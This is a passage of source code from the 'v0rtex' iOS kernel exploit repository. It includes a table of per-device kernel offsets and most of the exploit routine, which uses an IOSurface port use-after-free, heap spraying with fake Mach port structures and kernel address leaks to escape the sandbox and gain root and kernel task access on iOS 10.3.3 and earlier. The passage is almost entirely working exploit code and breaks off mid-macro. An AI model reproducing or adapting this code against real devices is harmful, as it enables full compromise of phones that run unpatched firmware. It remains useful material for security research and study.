| OFFSET_COPYOUT = 0xfffffff00718108c; 179 | OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14; 180 | OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec; 181 | OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38; 182 | OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f25538; 183 | OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006522174; 184 | OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0; 185 | return TRUE; 186 | } 187 | } 188 | 189 | LOG("Device not supported. \n"); 190 | return FALSE; 191 | } 192 | -------------------------------------------------------------------------------- /v0rtex-S/tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/v0rtex-S/tar -------------------------------------------------------------------------------- /v0rtex-S/v0rtex.h: -------------------------------------------------------------------------------- 1 | #ifndef V0RTEX_H 2 | #define V0RTEX_H 3 | 4 | #include 5 | 6 | #include "common.h" 7 | 8 | kern_return_t v0rtex(task_t *tfp0, kptr_t *kslide, kptr_t *kernucred, kptr_t *selfproc); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /v0rtex-S/v0rtex.m: -------------------------------------------------------------------------------- 1 | // v0rtex 2 | // Bug by Ian Beer, I suppose? 3 | // Exploit by Siguza. 4 | 5 | // Status quo: 6 | // - Escapes sandbox, gets root and tfp0, should work on A7-A10 devices <=10.3.3. 7 | // - Can call arbitrary kernel functions with up to 7 args via KCALL(). 8 | // - Relies on mach_zone_force_gc which was removed in iOS 11, but the same 9 | // effect should be achievable by continuously spraying through zones and 10 | // measuring how long it takes - garbag collection usually takes ages. :P 11 | 12 | // Not sure what'll really become of this, but it's certainly not done yet. 13 | // Pretty sure I'll leave iOS 11 to Ian Beer though, for the time being. 14 | // Might also do a write-up at some point, once fully working. 15 | 16 | #include // sched_yield 17 | #include // strerror, memset 18 | #include // usleep, setuid, getuid 19 | #include 20 | #include 21 | 22 | #include "common.h" 23 | #include "symbols.h" 24 | #include "symbols.h" 25 | 26 | #define SIZEOF_TASK 0x550 27 | #define OFFSET_TASK_ITK_SELF 0xd8 28 | #define OFFSET_TASK_ITK_REGISTERED 0x2e8 29 | #define OFFSET_TASK_BSD_INFO 0x360 30 | #define OFFSET_PROC_P_PID 0x10 31 | #define OFFSET_PROC_UCRED 0x100 32 | #define OFFSET_UCRED_CR_UID 0x18 33 | #define OFFSET_UCRED_CR_LABEL 0x78 34 | #define OFFSET_VM_MAP_HDR 0x10 35 | #define OFFSET_IPC_SPACE_IS_TASK 0x28 36 | #define OFFSET_REALHOST_SPECIAL 0x10 37 | #define OFFSET_IOUSERCLIENT_IPC 0x9c 38 | #define OFFSET_VTAB_GET_EXTERNAL_TRAP_FOR_INDEX 0x5b8 39 | 40 | #define KPTR_ALIGN(addr) (((addr) + sizeof(kptr_t) - 1) & ~(sizeof(kptr_t) - 1)) 41 | 42 | const uint64_t IOSURFACE_CREATE_SURFACE = 0; 43 | const uint64_t IOSURFACE_SET_VALUE = 9; 44 | const uint64_t IOSURFACE_GET_VALUE = 10; 45 | const uint64_t IOSURFACE_DELETE_VALUE = 11; 46 | 47 | const uint32_t IKOT_TASK = 2; 48 | 49 | enum 50 | { 51 | kOSSerializeDictionary = 0x01000000U, 52 | kOSSerializeArray = 0x02000000U, 53 | kOSSerializeSet = 0x03000000U, 54 | kOSSerializeNumber = 0x04000000U, 55 | kOSSerializeSymbol = 0x08000000U, 56 | kOSSerializeString = 0x09000000U, 57 | kOSSerializeData = 0x0a000000U, 58 | kOSSerializeBoolean = 0x0b000000U, 59 | kOSSerializeObject = 0x0c000000U, 60 | 61 | kOSSerializeTypeMask = 0x7F000000U, 62 | kOSSerializeDataMask = 0x00FFFFFFU, 63 | 64 | kOSSerializeEndCollection = 0x80000000U, 65 | 66 | kOSSerializeMagic = 0x000000d3U, 67 | }; 68 | 69 | // IOKit cruft 70 | typedef mach_port_t io_service_t; 71 | typedef mach_port_t io_connect_t; 72 | extern const mach_port_t kIOMasterPortDefault; 73 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; 74 | io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT); 75 | kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client); 76 | kern_return_t IOServiceClose(io_connect_t client); 77 | kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt); 78 | kern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt); 79 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 80 | 81 | // Other unexported symbols 82 | kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit); 83 | 84 | static const char *errstr(int r) 85 | { 86 | return r == 0 ? "success" : strerror(r); 87 | } 88 | 89 | static uint32_t transpose(uint32_t val) 90 | { 91 | uint32_t ret = 0; 92 | for(size_t i = 0; val > 0; i += 8) 93 | { 94 | ret += (val % 255) << i; 95 | val /= 255; 96 | } 97 | return ret + 0x01010101; 98 | } 99 | 100 | static kern_return_t my_mach_zone_force_gc(host_t host) 101 | { 102 | #pragma pack(4) 103 | typedef struct { 104 | mach_msg_header_t Head; 105 | } Request; 106 | typedef struct { 107 | mach_msg_header_t Head; 108 | NDR_record_t NDR; 109 | kern_return_t RetCode; 110 | mach_msg_trailer_t trailer; 111 | } Reply; 112 | #pragma pack() 113 | 114 | union { 115 | Request In; 116 | Reply Out; 117 | } Mess; 118 | 119 | Request *InP = &Mess.In; 120 | Reply *OutP = &Mess.Out; 121 | 122 | InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 123 | InP->Head.msgh_remote_port = host; 124 | InP->Head.msgh_local_port = mig_get_reply_port(); 125 | InP->Head.msgh_id = 221; 126 | InP->Head.msgh_reserved = 0; 127 | 128 | kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 129 | if(ret == KERN_SUCCESS) 130 | { 131 | ret = OutP->RetCode; 132 | } 133 | return ret; 134 | } 135 | 136 | static kern_return_t my_mach_port_get_context(task_t task, mach_port_name_t name, mach_vm_address_t *context) 137 | { 138 | #pragma pack(4) 139 | typedef struct { 140 | mach_msg_header_t Head; 141 | NDR_record_t NDR; 142 | mach_port_name_t name; 143 | } Request; 144 | typedef struct { 145 | mach_msg_header_t Head; 146 | NDR_record_t NDR; 147 | kern_return_t RetCode; 148 | mach_vm_address_t context; 149 | mach_msg_trailer_t trailer; 150 | } Reply; 151 | #pragma pack() 152 | 153 | union { 154 | Request In; 155 | Reply Out; 156 | } Mess; 157 | 158 | Request *InP = &Mess.In; 159 | Reply *OutP = &Mess.Out; 160 | 161 | InP->NDR = NDR_record; 162 | InP->name = name; 163 | InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 164 | InP->Head.msgh_remote_port = task; 165 | InP->Head.msgh_local_port = mig_get_reply_port(); 166 | InP->Head.msgh_id = 3228; 167 | InP->Head.msgh_reserved = 0; 168 | 169 | kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 170 | if(ret == KERN_SUCCESS) 171 | { 172 | ret = OutP->RetCode; 173 | } 174 | if(ret == KERN_SUCCESS) 175 | { 176 | *context = OutP->context; 177 | } 178 | return ret; 179 | } 180 | 181 | kern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context) 182 | { 183 | #pragma pack(4) 184 | typedef struct { 185 | mach_msg_header_t Head; 186 | NDR_record_t NDR; 187 | mach_port_name_t name; 188 | mach_vm_address_t context; 189 | } Request; 190 | typedef struct { 191 | mach_msg_header_t Head; 192 | NDR_record_t NDR; 193 | kern_return_t RetCode; 194 | mach_msg_trailer_t trailer; 195 | } Reply; 196 | #pragma pack() 197 | 198 | union { 199 | Request In; 200 | Reply Out; 201 | } Mess; 202 | 203 | Request *InP = &Mess.In; 204 | Reply *OutP = &Mess.Out; 205 | 206 | InP->NDR = NDR_record; 207 | InP->name = name; 208 | InP->context = context; 209 | InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 210 | InP->Head.msgh_remote_port = task; 211 | InP->Head.msgh_local_port = mig_get_reply_port(); 212 | InP->Head.msgh_id = 3229; 213 | InP->Head.msgh_reserved = 0; 214 | 215 | kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 216 | if(ret == KERN_SUCCESS) 217 | { 218 | ret = OutP->RetCode; 219 | } 220 | return ret; 221 | } 222 | 223 | // Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance. 224 | // Prepare everything - sched_yield() - fire. 225 | static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len) 226 | { 227 | #pragma pack(4) 228 | typedef struct { 229 | mach_msg_header_t Head; 230 | NDR_record_t NDR; 231 | uint32_t selector; 232 | mach_msg_type_number_t scalar_inputCnt; 233 | mach_msg_type_number_t inband_inputCnt; 234 | uint32_t inband_input[4]; 235 | mach_vm_address_t ool_input; 236 | mach_vm_size_t ool_input_size; 237 | mach_msg_type_number_t inband_outputCnt; 238 | mach_msg_type_number_t scalar_outputCnt; 239 | mach_vm_address_t ool_output; 240 | mach_vm_size_t ool_output_size; 241 | } DeleteRequest; 242 | typedef struct { 243 | mach_msg_header_t Head; 244 | NDR_record_t NDR; 245 | uint32_t selector; 246 | mach_msg_type_number_t scalar_inputCnt; 247 | mach_msg_type_number_t inband_inputCnt; 248 | mach_vm_address_t ool_input; 249 | mach_vm_size_t ool_input_size; 250 | mach_msg_type_number_t inband_outputCnt; 251 | mach_msg_type_number_t scalar_outputCnt; 252 | mach_vm_address_t ool_output; 253 | mach_vm_size_t ool_output_size; 254 | } SetRequest; 255 | typedef struct { 256 | mach_msg_header_t Head; 257 | NDR_record_t NDR; 258 | kern_return_t RetCode; 259 | mach_msg_type_number_t inband_outputCnt; 260 | char inband_output[4096]; 261 | mach_msg_type_number_t scalar_outputCnt; 262 | uint64_t scalar_output[16]; 263 | mach_vm_size_t ool_output_size; 264 | mach_msg_trailer_t trailer; 265 | } Reply; 266 | #pragma pack() 267 | 268 | // Delete 269 | union { 270 | DeleteRequest In; 271 | Reply Out; 272 | } DMess; 273 | 274 | DeleteRequest *DInP = &DMess.In; 275 | Reply *DOutP = &DMess.Out; 276 | 277 | DInP->NDR = NDR_record; 278 | DInP->selector = IOSURFACE_DELETE_VALUE; 279 | DInP->scalar_inputCnt = 0; 280 | 281 | DInP->inband_input[0] = surfaceId; 282 | DInP->inband_input[2] = transpose(propertyId); 283 | DInP->inband_input[3] = 0x0; // Null terminator 284 | DInP->inband_inputCnt = sizeof(DInP->inband_input); 285 | 286 | DInP->ool_input = 0; 287 | DInP->ool_input_size = 0; 288 | 289 | DInP->inband_outputCnt = sizeof(uint32_t); 290 | DInP->scalar_outputCnt = 0; 291 | DInP->ool_output = 0; 292 | DInP->ool_output_size = 0; 293 | 294 | DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 295 | DInP->Head.msgh_remote_port = client; 296 | DInP->Head.msgh_local_port = mig_get_reply_port(); 297 | DInP->Head.msgh_id = 2865; 298 | DInP->Head.msgh_reserved = 0; 299 | 300 | // Set 301 | union { 302 | SetRequest In; 303 | Reply Out; 304 | } SMess; 305 | 306 | SetRequest *SInP = &SMess.In; 307 | Reply *SOutP = &SMess.Out; 308 | 309 | SInP->NDR = NDR_record; 310 | SInP->selector = IOSURFACE_SET_VALUE; 311 | SInP->scalar_inputCnt = 0; 312 | 313 | SInP->inband_inputCnt = 0; 314 | 315 | SInP->ool_input = (mach_vm_address_t)buf; 316 | SInP->ool_input_size = len; 317 | 318 | SInP->inband_outputCnt = sizeof(uint32_t); 319 | SInP->scalar_outputCnt = 0; 320 | SInP->ool_output = 0; 321 | SInP->ool_output_size = 0; 322 | 323 | SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 324 | SInP->Head.msgh_remote_port = client; 325 | SInP->Head.msgh_local_port = mig_get_reply_port(); 326 | SInP->Head.msgh_id = 2865; 327 | SInP->Head.msgh_reserved = 0; 328 | 329 | // Deep breath 330 | sched_yield(); 331 | 332 | // Fire 333 | kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 334 | if(ret == KERN_SUCCESS) 335 | { 336 | ret = DOutP->RetCode; 337 | } 338 | if(ret != KERN_SUCCESS) 339 | { 340 | return ret; 341 | } 342 | ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 343 | if(ret == KERN_SUCCESS) 344 | { 345 | ret = SOutP->RetCode; 346 | } 347 | return ret; 348 | } 349 | 350 | #ifdef __LP64__ 351 | typedef struct 352 | { 353 | kptr_t prev; 354 | kptr_t next; 355 | kptr_t start; 356 | kptr_t end; 357 | } kmap_hdr_t; 358 | #endif 359 | 360 | typedef struct { 361 | uint32_t ip_bits; 362 | uint32_t ip_references; 363 | struct { 364 | kptr_t data; 365 | uint32_t type; 366 | uint32_t pad; 367 | } ip_lock; // spinlock 368 | struct { 369 | struct { 370 | struct { 371 | uint32_t flags; 372 | uint32_t waitq_interlock; 373 | uint64_t waitq_set_id; 374 | uint64_t waitq_prepost_id; 375 | struct { 376 | kptr_t next; 377 | kptr_t prev; 378 | } waitq_queue; 379 | } waitq; 380 | kptr_t messages; 381 | natural_t seqno; 382 | natural_t receiver_name; 383 | uint16_t msgcount; 384 | uint16_t qlimit; 385 | uint32_t pad; 386 | } port; 387 | kptr_t klist; 388 | } ip_messages; 389 | kptr_t ip_receiver; 390 | kptr_t ip_kobject; 391 | kptr_t ip_nsrequest; 392 | kptr_t ip_pdrequest; 393 | kptr_t ip_requests; 394 | kptr_t ip_premsg; 395 | uint64_t ip_context; 396 | natural_t ip_flags; 397 | natural_t ip_mscount; 398 | natural_t ip_srights; 399 | natural_t ip_sorights; 400 | } kport_t; 401 | 402 | typedef struct { 403 | union { 404 | kptr_t port; 405 | natural_t index; 406 | } notify; 407 | union { 408 | natural_t name; 409 | kptr_t size; 410 | } name; 411 | } kport_request_t; 412 | 413 | typedef union 414 | { 415 | struct { 416 | struct { 417 | kptr_t data; 418 | uint64_t pad : 24, 419 | type : 8, 420 | reserved : 32; 421 | } lock; // mutex lock 422 | uint32_t ref_count; 423 | uint32_t active; 424 | uint32_t halting; 425 | uint32_t pad; 426 | kptr_t map; 427 | } a; 428 | struct { 429 | char pad[OFFSET_TASK_ITK_SELF]; 430 | kptr_t itk_self; 431 | } b; 432 | } ktask_t; 433 | 434 | kern_return_t v0rtex(task_t *tfp0, kptr_t *kslide, kptr_t *kernucred, kptr_t *selfproc) 435 | { 436 | kern_return_t retval = KERN_FAILURE, 437 | ret; 438 | task_t self = mach_task_self(); 439 | host_t host = mach_host_self(); 440 | 441 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 442 | LOG("service: %x", service); 443 | if(!MACH_PORT_VALID(service)) 444 | { 445 | goto out0; 446 | } 447 | 448 | io_connect_t client = MACH_PORT_NULL; 449 | ret = IOServiceOpen(service, self, 0, &client); 450 | LOG("client: %x, %s", client, mach_error_string(ret)); 451 | if(ret != KERN_SUCCESS) 452 | { 453 | goto out0; 454 | } 455 | if(!MACH_PORT_VALID(client)) 456 | { 457 | ret = KERN_FAILURE; 458 | goto out0; 459 | } 460 | 461 | uint32_t dict_create[] = 462 | { 463 | kOSSerializeMagic, 464 | kOSSerializeEndCollection | kOSSerializeDictionary | 1, 465 | 466 | kOSSerializeSymbol | 19, 467 | 0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize" 468 | kOSSerializeEndCollection | kOSSerializeNumber | 32, 469 | 0x1000, 470 | 0x0, 471 | }; 472 | union 473 | { 474 | char _padding[0x3c8]; // XXX 0x6c8 for iOS 11 475 | struct 476 | { 477 | mach_vm_address_t addr1; 478 | mach_vm_address_t addr2; 479 | uint32_t id; 480 | } data; 481 | } surface; 482 | size_t size = sizeof(surface); 483 | ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), &surface, &size); 484 | LOG("newSurface: %s", mach_error_string(ret)); 485 | if(ret != KERN_SUCCESS) 486 | { 487 | goto out1; 488 | } 489 | 490 | mach_port_t realport = MACH_PORT_NULL; 491 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &realport); 492 | LOG("realport: %x, %s", realport, mach_error_string(ret)); 493 | if(ret != KERN_SUCCESS || !MACH_PORT_VALID(realport)) 494 | { 495 | goto out1; 496 | } 497 | 498 | sched_yield(); 499 | // Clean out full pages already in freelists 500 | ret = my_mach_zone_force_gc(host); 501 | if(ret != KERN_SUCCESS) 502 | { 503 | LOG("mach_zone_force_gc: %s", mach_error_string(ret)); 504 | goto out1; 505 | } 506 | 507 | #define NUM_BEFORE 0x1000 508 | mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL }; 509 | for(size_t i = 0; i < NUM_BEFORE; ++i) 510 | { 511 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &before[i]); 512 | if(ret != KERN_SUCCESS) 513 | { 514 | LOG("mach_port_allocate: %s", mach_error_string(ret)); 515 | goto out2; 516 | } 517 | } 518 | 519 | mach_port_t port = MACH_PORT_NULL; 520 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &port); 521 | if(ret != KERN_SUCCESS) 522 | { 523 | LOG("mach_port_allocate: %s", mach_error_string(ret)); 524 | goto out2; 525 | } 526 | if(!MACH_PORT_VALID(port)) 527 | { 528 | LOG("port: %x", port); 529 | ret = KERN_FAILURE; 530 | goto out2; 531 | } 532 | 533 | #define NUM_AFTER 0x100 534 | mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL }; 535 | for(size_t i = 0; i < NUM_AFTER; ++i) 536 | { 537 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after[i]); 538 | if(ret != KERN_SUCCESS) 539 | { 540 | LOG("mach_port_allocate: %s", mach_error_string(ret)); 541 | goto out3; 542 | } 543 | } 544 | 545 | LOG("port: %x", port); 546 | 547 | ret = _kernelrpc_mach_port_insert_right_trap(self, port, port, MACH_MSG_TYPE_MAKE_SEND); 548 | LOG("mach_port_insert_right: %s", mach_error_string(ret)); 549 | if(ret != KERN_SUCCESS) 550 | { 551 | goto out3; 552 | } 553 | 554 | // There seems to be some weird asynchronity with freeing on IOConnectCallAsyncStructMethod, 555 | // which sucks. To work around it, I register the port to be freed on my own task (thus increasing refs), 556 | // sleep after the connect call and register again, thus releasing the reference synchronously. 557 | ret = mach_ports_register(self, &port, 1); 558 | LOG("mach_ports_register: %s", mach_error_string(ret)); 559 | if(ret != KERN_SUCCESS) 560 | { 561 | goto out3; 562 | } 563 | 564 | uint64_t ref; 565 | uint64_t in[3] = { 0, 0x666, 0 }; 566 | IOConnectCallAsyncStructMethod(client, 17, realport, &ref, 1, in, sizeof(in), NULL, NULL); 567 | IOConnectCallAsyncStructMethod(client, 17, port, &ref, 1, in, sizeof(in), NULL, NULL); 568 | 569 | LOG("herp derp"); 570 | usleep(100000); 571 | 572 | sched_yield(); 573 | ret = mach_ports_register(self, &client, 1); // gonna use that later 574 | LOG("mach_ports_register: %s", mach_error_string(ret)); 575 | if(ret != KERN_SUCCESS) 576 | { 577 | goto out3; 578 | } 579 | 580 | // Prevent cleanup 581 | mach_port_t fakeport = port; 582 | port = MACH_PORT_NULL; 583 | 584 | #define DATA_SIZE 0x1000 585 | uint32_t dict[DATA_SIZE / sizeof(uint32_t) + 7] = 586 | { 587 | // Some header or something 588 | surface.data.id, 589 | 0x0, 590 | 591 | kOSSerializeMagic, 592 | kOSSerializeEndCollection | kOSSerializeArray | 2, 593 | 594 | kOSSerializeString | (DATA_SIZE - 1), 595 | }; 596 | dict[DATA_SIZE / sizeof(uint32_t) + 5] = kOSSerializeEndCollection | kOSSerializeString | 4; 597 | 598 | // ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9 599 | // is actually 0x1000, so references to our reallocated memory may be shifted 600 | // by (0x1000 % sizeof(kport_t)) 601 | kport_t triple_kport = 602 | { 603 | .ip_lock = 604 | { 605 | .data = 0x0, 606 | .type = 0x11, 607 | }, 608 | .ip_messages = 609 | { 610 | .port = 611 | { 612 | .waitq = 613 | { 614 | .waitq_queue = 615 | { 616 | .next = 0x0, 617 | .prev = 0x11, 618 | } 619 | }, 620 | }, 621 | }, 622 | .ip_nsrequest = 0x0, 623 | .ip_pdrequest = 0x11, 624 | }; 625 | for(uintptr_t ptr = (uintptr_t)&dict[5], end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t)) 626 | { 627 | *(volatile kport_t*)ptr = triple_kport; 628 | } 629 | 630 | sched_yield(); 631 | for(size_t i = NUM_AFTER; i > 0; --i) 632 | { 633 | if(MACH_PORT_VALID(after[i - 1])) 634 | { 635 | _kernelrpc_mach_port_destroy_trap(self, after[i - 1]); 636 | after[i - 1] = MACH_PORT_NULL; 637 | } 638 | } 639 | for(size_t i = NUM_BEFORE; i > 0; --i) 640 | { 641 | if(MACH_PORT_VALID(before[i - 1])) 642 | { 643 | _kernelrpc_mach_port_destroy_trap(self, before[i - 1]); 644 | before[i - 1] = MACH_PORT_NULL; 645 | } 646 | } 647 | 648 | ret = my_mach_zone_force_gc(host); 649 | if(ret != KERN_SUCCESS) 650 | { 651 | LOG("mach_zone_force_gc: %s", mach_error_string(ret)); 652 | goto out3; 653 | } 654 | 655 | for(uint32_t i = 0; i < 0x2000; ++i) 656 | { 657 | dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(i); 658 | volatile kport_t *dptr = (kport_t*)&dict[5]; 659 | for(size_t j = 0; j < DATA_SIZE / sizeof(kport_t); ++j) 660 | { 661 | dptr[j].ip_context = (dptr[j].ip_context & 0xffffffff) | ((uint64_t)(0x10000000 | i) << 32); 662 | dptr[j].ip_messages.port.pad = 0x20000000 | i; 663 | dptr[j].ip_lock.pad = 0x30000000 | i; 664 | } 665 | uint32_t dummy; 666 | size = sizeof(dummy); 667 | ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size); 668 | if(ret != KERN_SUCCESS) 669 | { 670 | LOG("setValue(%u): %s", i, mach_error_string(ret)); 671 | goto out3; 672 | } 673 | } 674 | 675 | uint64_t ctx = 0xffffffff; 676 | ret = my_mach_port_get_context(self, fakeport, &ctx); 677 | LOG("mach_port_get_context: 0x%016llx, %s", ctx, mach_error_string(ret)); 678 | if(ret != KERN_SUCCESS) 679 | { 680 | goto out3; 681 | } 682 | 683 | uint32_t shift_mask = ctx >> 60; 684 | if(shift_mask < 1 || shift_mask > 3) 685 | { 686 | LOG("Invalid shift mask."); 687 | goto out3; 688 | } 689 | uint32_t shift_off = sizeof(kport_t) - (((shift_mask - 1) * 0x1000) % sizeof(kport_t)); 690 | 691 | uint32_t idx = (ctx >> 32) & 0xfffffff; 692 | dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(idx); 693 | uint32_t request[] = 694 | { 695 | // Same header 696 | surface.data.id, 697 | 0x0, 698 | 699 | transpose(idx), // Key 700 | 0x0, // Null terminator 701 | }; 702 | kport_t kport = 703 | { 704 | .ip_bits = 0x80000000, // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE 705 | .ip_references = 100, 706 | .ip_lock = 707 | { 708 | .type = 0x11, 709 | }, 710 | .ip_messages = 711 | { 712 | .port = 713 | { 714 | .receiver_name = 1, 715 | .msgcount = MACH_PORT_QLIMIT_KERNEL, 716 | .qlimit = MACH_PORT_QLIMIT_KERNEL, 717 | }, 718 | }, 719 | .ip_srights = 99, 720 | }; 721 | 722 | for(uintptr_t ptr = (uintptr_t)&dict[5] + shift_off, end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t)) 723 | { 724 | *(volatile kport_t*)ptr = kport; 725 | } 726 | 727 | ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict)); 728 | LOG("reallocate_buf: %s", mach_error_string(ret)); 729 | if(ret != KERN_SUCCESS) 730 | { 731 | goto out3; 732 | } 733 | 734 | // Register realport on fakeport 735 | mach_port_t notify = MACH_PORT_NULL; 736 | ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify); 737 | LOG("mach_port_request_notification(realport): %x, %s", notify, mach_error_string(ret)); 738 | if(ret != KERN_SUCCESS) 739 | { 740 | goto out3; 741 | } 742 | 743 | uint32_t response[4 + (DATA_SIZE / sizeof(uint32_t))] = { 0 }; 744 | size = sizeof(response); 745 | ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size); 746 | LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret)); 747 | if(ret != KERN_SUCCESS) 748 | { 749 | goto out3; 750 | } 751 | if(size < DATA_SIZE + 0x10) 752 | { 753 | LOG("Response too short."); 754 | goto out3; 755 | } 756 | 757 | uint32_t fakeport_off = -1; 758 | kptr_t realport_addr = 0; 759 | for(uintptr_t ptr = (uintptr_t)&response[4] + shift_off, end = (uintptr_t)&response[4] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t)) 760 | { 761 | kptr_t val = ((volatile kport_t*)ptr)->ip_pdrequest; 762 | if(val) 763 | { 764 | fakeport_off = ptr - (uintptr_t)&response[4]; 765 | realport_addr = val; 766 | break; 767 | } 768 | } 769 | if(!realport_addr) 770 | { 771 | LOG("Failed to leak realport address"); 772 | goto out3; 773 | } 774 | LOG("realport addr: " ADDR, realport_addr); 775 | volatile kport_t *fakeport_buf = (volatile kport_t*)((uintptr_t)&dict[5] + fakeport_off); 776 | 777 | // Register fakeport on itself (and clean ref on realport) 778 | notify = MACH_PORT_NULL; 779 | ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, fakeport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify); 780 | LOG("mach_port_request_notification(fakeport): %x, %s", notify, mach_error_string(ret)); 781 | if(ret != KERN_SUCCESS) 782 | { 783 | goto out3; 784 | } 785 | 786 | size = sizeof(response); 787 | ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size); 788 | LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret)); 789 | if(ret != KERN_SUCCESS) 790 | { 791 | goto out3; 792 | } 793 | if(size < DATA_SIZE + 0x10) 794 | { 795 | LOG("Response too short."); 796 | goto out3; 797 | } 798 | kptr_t fakeport_addr = ((volatile kport_t*)((uintptr_t)&response[4] + fakeport_off))->ip_pdrequest; 799 | if(!realport_addr) 800 | { 801 | LOG("Failed to leak fakeport address"); 802 | goto out3; 803 | } 804 | LOG("fakeport addr: " ADDR, fakeport_addr); 805 | kptr_t fake_addr = fakeport_addr - fakeport_off; 806 | 807 | kport_request_t kreq; 808 | kport.ip_requests = fakeport_addr + ((uintptr_t)&kport.ip_context - (uintptr_t)&kport) - ((uintptr_t)&kreq.name.size - (uintptr_t)&kreq); 809 | *fakeport_buf = kport; 810 | 811 | ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict)); 812 | LOG("reallocate_buf: %s", mach_error_string(ret)); 813 | if(ret != KERN_SUCCESS) 814 | { 815 | goto out3; 816 | } 817 | 818 | #define KREAD(addr, buf, len) \ 819 | do \ 820 | { \ 821 | for(size_t i = 0; i < 